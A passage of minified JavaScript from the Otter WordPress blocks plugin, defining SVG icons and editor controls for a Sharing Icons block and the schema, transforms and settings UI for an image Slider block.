10.6-.4 14.5z"})):"reddit"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"})):"whatsapp"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512"},(0,i.createElement)(p.Path,{d:"M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"})):"email"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{d:"M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0L492.8 150.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM0 176V384c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V176L294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176z"})):"telegram"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{d:"M248,8C111.033,8,0,119.033,0,256S111.033,504,248,504,496,392.967,496,256,384.967,8,248,8ZM362.952,176.66c-3.732,39.215-19.881,134.378-28.1,178.3-3.476,18.584-10.322,24.816-16.948,25.425-14.4,1.326-25.338-9.517-39.287-18.661-21.827-14.308-34.158-23.215-55.346-37.177-24.485-16.135-8.612-25,5.342-39.5,3.652-3.793,67.107-61.51,68.335-66.746.153-.655.3-3.1-1.154-4.384s-3.59-.849-5.135-.5q-3.283.746-104.608,69.142-14.845,10.194-26.894,9.934c-8.855-.191-25.888-5.006-38.551-9.123-15.531-5.048-27.875-7.717-26.8-16.291q.84-6.7,18.45-13.7,108.446-47.248,144.628-62.3c68.872-28.647,83.183-33.623,92.511-33.789,2.052-.034,6.639.474,9.61,2.885a10.452,10.452,0,0,1,3.53,6.716A43.765,43.765,0,0,1,362.952,176.66Z"})):"mastodon"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{d:"M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"})):"comments"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{d:"M208 352c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176c0 38.6 14.7 74.3 39.6 103.4c-3.5 9.4-8.7 17.7-14.2 24.7c-4.8 6.2-9.7 11-13.3 14.3c-1.8 1.6-3.3 2.9-4.3 3.7c-.5 .4-.9 .7-1.1 .8l-.2 .2 0 0 0 0C1 327.2-1.4 334.4 .8 340.9S9.1 352 16 352c21.8 0 43.8-5.6 62.1-12.5c9.2-3.5 17.8-7.4 25.3-11.4C134.1 343.3 169.8 352 208 352zM448 176c0 112.3-99.1 196.9-216.5 207C255.8 457.4 336.4 512 432 512c38.2 0 73.9-8.7 104.7-23.9c7.5 4 16 7.9 25.2 11.4c18.3 6.9 40.3 12.5 62.1 12.5c6.9 0 13.1-4.5 15.2-11.1c2.1-6.6-.2-13.8-5.8-17.9l0 0 0 0-.2-.2c-.2-.2-.6-.4-1.1-.8c-1-.8-2.5-2-4.3-3.7c-3.6-3.3-8.5-8.1-13.3-14.3c-5.5-7-10.7-15.4-14.2-24.7c24.9-29 39.6-64.7 39.6-103.4c0-92.8-84.9-168.9-192.6-175.5c.4 5.1 .6 10.3 .6 15.5z"})):(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"})),Wa=({attributes:e,setAttributes:t,socialList:l})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.ToolbarGroup,null,Object.keys(l).map((a=>{var n;const r=null!==(n=e[a]?.active)&&void 0!==n?n:e?.[a];return(0,i.createElement)(p.Tooltip,{key:a /* translators: %s Social Website */,text:(0,o.sprintf)((0,o.__)("Display %s","otter-blocks"),l[a].label)},(0,i.createElement)(p.Button,{className:c()("components-button","wp-block-themeisle-toolbar",{"is-active":r}),onClick:()=>(l=>{const o={...e[l]};o.active=!o?.active,t({[l]:{...o}})})(a)},(0,i.createElement)(ja,{icon:a})))})))),$a=({attributes:e,setAttributes:t,socialList:l})=>{const a=(l,o,a)=>{const n={...e[o]};n[a]=l,t({[o]:{...n}})};return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Items Gap","otter-blocks"),value:e.gap,onChange:e=>t({gap:e}),allowReset:!0,step:.1,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Icons Border Radius","otter-blocks"),value:e.borderRadius,onChange:e=>t({borderRadius:e}),allowReset:!0,step:.1,max:50})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color Settings"),className:"ott-color-controls",initialOpen:!1,colorSettings:Object.keys(l).reduce(((t,n)=>{var r;return(null!==(r=e?.[n]?.active)&&void 0!==r?r:e?.[n])?[...t,{value:e[n].backgroundColor,onChange:e=>a(e,n,"backgroundColor"),onGradientChange:e=>a(e,n,"backgroundColor"),isShownByDefault:!0, /* translators: %s Social Website */ label:(0,o.sprintf)((0,o.__)(" %s Background Color","otter-blocks"),l[n].label)},{value:e[n].textColor,onChange:e=>a(e,n,"textColor"),isShownByDefault:!0, /* translators: %s Social Website */ label:(0,o.sprintf)((0,o.__)(" %s Text Color","otter-blocks"),l[n]?.label)}]:t}),[])},Object.keys(l).map((t=>{var l;return(null!==(l=e?.[t]?.active)&&void 0!==l?l:e?.[t])?(0,i.createElement)(u.ContrastChecker,{backgroundColor:e?.[t]?.backgroundColor,textColor:e?.[t]?.textColor,key:t}):null}))))},Ua={facebook:{label:(0,o.__)("Facebook","otter-blocks"),icon:"facebook-f"},twitter:{label:(0,o.__)("Twitter","otter-blocks"),icon:"twitter"},linkedin:{label:(0,o.__)("Linkedin","otter-blocks"),icon:"linkedin-in"},pinterest:{label:(0,o.__)("Pinterest","otter-blocks"),icon:"pinterest-p"},tumblr:{label:(0,o.__)("Tumblr","otter-blocks"),icon:"tumblr"},reddit:{label:(0,o.__)("Reddit","otter-blocks"),icon:"reddit-alien"},whatsapp:{label:(0,o.__)("WhatsApp","otter-blocks"),icon:"whatsapp"},email:{label:(0,o.__)("Email","otter-blocks"),icon:"envelope"},telegram:{label:(0,o.__)("Telegram","otter-blocks"),icon:"telegram"},mastodon:{label:(0,o.__)("Mastodon","otter-blocks"),icon:"mastodon"},comments:{label:(0,o.__)("Comment","otter-blocks"),icon:"comment"}};const{attributes:Za}=Va;const{name:qa}=Va;(0,a.registerBlockType)(qa,{...Va,title:(0,o.__)("Sharing Icons","otter-blocks"),description:(0,o.__)("Share buttons for your website visitors to share content on any social sharing service. Powered by Otter.","otter-blocks"),icon:r.sharingIcon,keywords:["social media","sharing","icons"],styles:[{name:"default",label:(0,o.__)("Regular","otter-blocks"),isDefault:!0},{name:"icons",label:(0,o.__)("Icons Only","otter-blocks")}],edit:({attributes:e,setAttributes:t,clientId:l})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Za);return()=>t(e.id)}),[e.id]);const{isQueryChild:o}=(0,m.useSelect)((e=>{const{getBlock:t,getBlockParentsByBlockName:o}=e("core/block-editor"),a=t(l);return{isQueryChild:0<o(a?.clientId,"core/query").length}}),[]);(0,b.useEffect)((()=>{o&&t({context:"query"})}),[o]);const a=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Wa,{attributes:e,setAttributes:t,socialList:Ua}),(0,i.createElement)($a,{attributes:e,setAttributes:t,socialList:Ua}),(0,i.createElement)("div",{...a},(0,i.createElement)(p.Disabled,null,(0,i.createElement)(Ga(),{block:"themeisle-blocks/sharing-icons",attributes:e}))))},save:()=>null,example:{attributes:{}}});var Ya=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/slider","title":"Slider","category":"themeisle-blocks","description":"Minimal image slider to showcase beautiful images. Powered by Otter.","keywords":["slider","gallery","carousel"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"images":{"type":"array","default":[],"source":"query","selector":".wp-block-themeisle-blocks-slider-item-wrapper","query":{"id":{"type":"number","source":"attribute","selector":"img","attribute":"data-id"},"url":{"type":"string","source":"attribute","selector":"img","attribute":"src"},"alt":{"type":"string","source":"attribute","selector":"img","attribute":"alt","default":""},"caption":{"type":"string","source":"html","selector":"figcaption","default":""}}},"perView":{"type":"number","default":1},"gap":{"type":"number","default":0},"peek":{"type":"number","default":0},"autoplay":{"type":"boolean","default":true},"delay":{"type":"number","default":2},"hideArrows":{"type":"boolean","default":false},"hideBullets":{"type":"boolean","default":false},"height":{"type":["number","string"],"default":"400px"},"heightTablet":{"type":"string"},"heightMobile":{"type":"string"},"width":{"type":"string"},"transition":{"type":"string"},"arrowsColor":{"type":"string"},"arrowsBackgroundColor":{"type":"string"},"paginationColor":{"type":"string"},"paginationActiveColor":{"type":"string"},"borderColor":{"type":"string"},"borderWidth":{"type":"string"},"borderRadius":{"type":"string"}},"supports":{"align":["wide","full"]},"editorStyle":"otter-slider-editor","style":"otter-slider-style","editorScript":"glidejs","script":"otter-slider"}');const Ka=({attributes:e})=>(0,i.createElement)(b.Fragment,null,!e.hideArrows&&(0,i.createElement)("div",{className:"glide__arrows","data-glide-el":"controls"},(0,i.createElement)("button",{className:"glide__arrow glide__arrow--left","data-glide-dir":"<"},(0,i.createElement)(p.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"18",height:"18",viewBox:"0 0 100 100"},(0,i.createElement)(p.Path,{d:"M 10,50 L 60,100 L 70,90 L 30,50 L 70,10 L 60,0 Z"}))),(0,i.createElement)("button",{className:"glide__arrow glide__arrow--right","data-glide-dir":">"},(0,i.createElement)(p.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"18",height:"18",viewBox:"0 0 100 100"},(0,i.createElement)(p.Path,{d:"M 10,50 L 60,100 L 70,90 L 30,50 L 70,10 L 60,0 Z"}))))),Ja=({attributes:e})=>(0,i.createElement)(b.Fragment,null,!e.hideBullets&&(0,i.createElement)("div",{className:"glide__bullets","data-glide-el":"controls[nav]"},e.images.map(((e,t)=>(0,i.createElement)("button",{key:e.id,className:"glide__bullet","data-glide-dir":`=${t}`})))));var Xa=({attributes:e})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Ka,{attributes:e}),(0,i.createElement)(Ja,{attributes:e}));const Qa={id:{type:"string"},align:{type:"string"},images:{type:"array",default:[],source:"query",selector:".wp-block-themeisle-blocks-slider-item-wrapper",query:{id:{type:"number",source:"attribute",selector:"img",attribute:"data-id"},url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"string",source:"html",selector:"figcaption",default:""}}},perView:{type:"number",default:1},gap:{type:"number",default:0},peek:{type:"number",default:0},autoplay:{type:"boolean",default:!0},height:{type:"number",default:400}},en=[{attributes:{...(0,A.omit)(Qa,["align"])},supports:{align:["wide","full"]},save:({attributes:e,className:t})=>(0,i.createElement)("div",{id:e.id,className:c()("wp-block-themeisle-blocks-slider","glide",t),"data-per-view":e.perView,"data-gap":e.gap,"data-peek":e.peek,"data-autoplay":e.autoplay},(0,i.createElement)("div",{className:"glide__track","data-glide-el":"track"},(0,i.createElement)("div",{className:"glide__slides",style:{height:`${e.height}px`}},e.images.map((e=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-slider-item-wrapper glide__slide",tabIndex:"0"},(0,i.createElement)("figure",null,(0,i.createElement)("img",{key:e.id,className:"wp-block-themeisle-blocks-slider-item",src:e.url,alt:e.alt,title:e.alt,"data-id":e.id}),!u.RichText.isEmpty(e.caption)&&(0,i.createElement)(u.RichText.Content,{tagName:"figcaption",value:e.caption})))))),(0,i.createElement)(Xa,{attributes:e})))},{attributes:{...(0,A.omit)(Qa,["align"]),delay:{type:"number",default:2},hideArrows:{type:"boolean",default:!1},hideBullets:{type:"boolean",default:!1}},supports:{align:["wide","full"]},save:({attributes:e,className:t})=>{const l=e.autoplay&&2!==e.delay?1e3*e.delay:e.autoplay;return(0,i.createElement)("div",{id:e.id,className:c()("wp-block-themeisle-blocks-slider","glide",t),"data-per-view":e.perView,"data-gap":e.gap,"data-peek":e.peek,"data-autoplay":l,"data-height":`${e.height}px`},(0,i.createElement)("div",{className:"glide__track","data-glide-el":"track"},(0,i.createElement)("div",{className:"glide__slides"},e.images.map((e=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-slider-item-wrapper glide__slide",tabIndex:"0"},(0,i.createElement)("figure",null,(0,i.createElement)("img",{key:e.id,className:"wp-block-themeisle-blocks-slider-item",src:e.url,alt:e.alt,title:e.alt,"data-id":e.id}),!u.RichText.isEmpty(e.caption)&&(0,i.createElement)(u.RichText.Content,{tagName:"figcaption",value:e.caption})))))),(0,i.createElement)(Xa,{attributes:e})))}}];var tn=en;const ln={from:[{type:"block",isMultiBlock:!0,blocks:["core/image"],transform:e=>{let{align:t}=e[0];t=(0,A.every)(e,["align",t])?t:void 0;const l=(0,A.filter)(e,(({url:e})=>e));return(0,a.createBlock)("themeisle-blocks/slider",{images:l.map((({id:e,url:t,alt:l,caption:o})=>({id:e,url:t,alt:l,caption:o}))),align:t})}},{type:"block",blocks:["core/gallery"],transform:({images:e,align:t},l)=>window.themeisleGutenberg?.isLegacyPre59?(0,a.createBlock)("themeisle-blocks/slider",{images:e.map((({id:e,url:t,alt:l,caption:o})=>({id:e,url:t,alt:l,caption:o}))),align:t}):(0,a.createBlock)("themeisle-blocks/slider",{images:l.map((({attributes:e})=>({id:e.id,url:e.url,alt:e.alt,caption:e.caption}))),align:t})}],to:[{type:"block",blocks:["core/image"],transform:({images:e,align:t})=>0<e.length?e.map((({id:e,url:l,alt:o,caption:n})=>(0,a.createBlock)("core/image",{id:e,url:l,alt:o,caption:n,align:t}))):(0,a.createBlock)("core/image",{align:t})},{type:"block",blocks:["core/gallery"],transform:({images:e,align:t})=>window.themeisleGutenberg?.isLegacyPre59?(0,a.createBlock)("core/gallery",{images:e.map((({id:e,url:t,alt:l,caption:o})=>({id:e,url:t,alt:l,caption:o}))),align:t}):(0,a.createBlock)("core/gallery",{align:t},e.map((({id:e,url:l,alt:o,caption:n})=>(0,a.createBlock)("core/image",{id:e,url:l,alt:o,caption:n,align:t}))))}]};var on=ln,an=({labels:e,icon:t,isAppender:l=!1,value:o={},onSelectImages:a})=>{const n=(0,A.debounce)(a,250);return(0,i.createElement)(u.MediaPlaceholder,{labels:e,icon:t,accept:"image/*",allowedTypes:["image"],isAppender:l,className:"wp-block-themeisle-blocks-slider-uploader",value:o,onSelect:n,multiple:!0})},nn=({attributes:e,setAttributes:t,onSelectImages:l,changePerView:a})=>{var n;const[r,s]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:c,responsiveGetAttributes:d}=(0,k.Y)(t);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:r,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:s}),"settings"===r&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Slides","otter-blocks")},e.images.length&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Slides Per Page","otter-blocks"),help:(0,o.__)("A number of visible slides.","otter-blocks"),value:e.perView,onChange:a,min:1,max:bn(e?.images?.length)}),1<e.perView&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Gap","otter-blocks"),help:(0,o.__)("A size of the space between slides.","otter-blocks"),value:e.gap,onChange:e=>t({gap:Number(e)}),min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Peek","otter-blocks"),help:(0,o.__)("The value of the future slides which have to be visible in the current slide.","otter-blocks"),value:e.peek,onChange:e=>t({peek:Number(e)}),min:0,max:100})),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide Arrows","otter-blocks"),help:(0,o.__)("Hide navigation arrows.","otter-blocks"),checked:e.hideArrows,onChange:()=>t({hideArrows:!e.hideArrows})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide Pagination","otter-blocks"),help:(0,o.__)("Hide navigation bullets.","otter-blocks"),checked:e.hideBullets,onChange:()=>t({hideBullets:!e.hideBullets})}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Images","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Ec,{attributes:e,onSelectImages:l})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Autoplay","otter-blocks"),initialOpen:!1},e.images.length&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Autoplay","otter-blocks"),help:(0,o.__)("Autoplay slider in the front.","otter-blocks"),checked:e.autoplay,onChange:()=>t({autoplay:!e.autoplay})}),e.autoplay&&(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Delay","otter-blocks"),help:(0,o.__)("Delay in slide change (in seconds).","otter-blocks"),value:e.delay,onChange:e=>t({delay:e}),min:1,max:10,allowReset:!0}))),(0,i.createElement)(g.p,null)),"style"===r&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions and Motion","otter-blocks")},e.images.length&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.n9,{label:(0,o.__)("Height","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:d([(0,h.Yj)(e.height),e.heightTablet,e.heightMobile]),onChange:e=>c(e,["height","heightTablet","heightMobile"])}),(0,i.createElement)(g.Cd,{values:["height","heightTablet","heightMobile"],setAttributes:t})),(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:e.width,onChange:e=>t({width:e})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Transition","otter-blocks"),value:e.transition||"ease",options:[{label:(0,o.__)("Linear","otter-blocks"),value:"linear"},{label:(0,o.__)("Ease","otter-blocks"),value:"ease"},{label:(0,o.__)("Ease In","otter-blocks"),value:"ease-in"},{label:(0,o.__)("Ease In Out","otter-blocks"),value:"ease-in-out"},{label:(0,o.__)("Bounce","otter-blocks"),value:"cubic-bezier(0.680, -0.550, 0.265, 1.550)"}],onChange:e=>t({transition:"ease"!==e?e:void 0})}))),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.arrowsColor,onChange:e=>t({arrowsColor:e}),label:(0,o.__)("Arrows","otter-blocks"),isShownByDefault:!1},{value:e.arrowsBackgroundColor,onChange:e=>t({arrowsBackgroundColor:e}),label:(0,o.__)("Arrows Background","otter-blocks"),isShownByDefault:!1},{value:e.paginationColor,onChange:e=>t({paginationColor:e}),label:(0,o.__)("Pagination","otter-blocks"),isShownByDefault:!1},{value:e.paginationActiveColor,onChange:e=>t({paginationActiveColor:e}),label:(0,o.__)("Pagination Active","otter-blocks"),isShownByDefault:!1},{value:null!==(n=e.borderColor)&&void 0!==n?n:e.borderWidth?"#000000":void 0,onChange:e=>t({borderColor:e}),label:(0,o.__)("Border","otter-blocks"),isShownByDefault:!1}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:e.borderWidth,onChange:e=>t({borderWidth:e})}),(0,i.createElement)(g.Cd,{values:["borderWidth"],setAttributes:t}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Radius","otter-blocks"),value:e.borderRadius,onChange:e=>t({borderRadius:e})}),(0,i.createElement)(g.Cd,{values:["borderRadius"],setAttributes:t}))))},rn=l(4310),sn=l(5024),cn=({images:e,image:t,index:l,isFirstItem:a,isLastItem:n,isSelected:r,setAttributes:s,setSelectedImage:d})=>{const m=(t,l)=>{const o=[...e];o.splice(l,1,e[t]),o.splice(t,1,e[l]),d(l),s({images:o})};return(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-slider-item-wrapper glide__slide",{"is-selected":r}),tabIndex:"0",onClick:()=>d(t.id),onFocus:()=>d(t.id)},(0,i.createElement)("figure",null,(0,i.createElement)("img",{key:t.id,className:"wp-block-themeisle-blocks-slider-item",src:t.url,alt:t.alt,title:t.alt,"data-id":t.id}),r&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-slider-item-move-menu"},(0,i.createElement)(p.Button,{icon:(0,i.createElement)(xt.Z,{icon:rn.Z}),label:(0,o.__)("Move image backward","otter-blocks"),showTooltip:!0,onClick:a?void 0:()=>{0!==l&&m(l,l-1)},className:"wp-block-themeisle-blocks-slider-item-move-backward","aria-disabled":a,disabled:!r}),(0,i.createElement)(p.Button,{icon:(0,i.createElement)(xt.Z,{icon:sn.Z}),label:(0,o.__)("Move image forward","otter-blocks"),showTooltip:!0,onClick:n?void 0:()=>{l!==e.length-1&&m(l,l+1)},className:"wp-block-themeisle-blocks-slider-item-move-forward","aria-disabled":n,disabled:!r})),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-slider-item-delete-menu"},(0,i.createElement)(p.Button,{icon:(0,i.createElement)(xt.Z,{icon:fo.Z}),label:(0,o.__)("Remove image","otter-blocks"),showTooltip:!0,onClick:()=>{const t=(0,A.filter)(e,((e,t)=>l!==t));d(null),s({images:t})},className:"wp-block-themeisle-blocks-slider-item-delete"}))),(r||!u.RichText.isEmpty(t.caption))&&(0,i.createElement)(u.RichText,{tagName:"figcaption",placeholder:r?(0,o.__)("Write caption…","otter-blocks"):null,value:t.caption,onChange:t=>{const 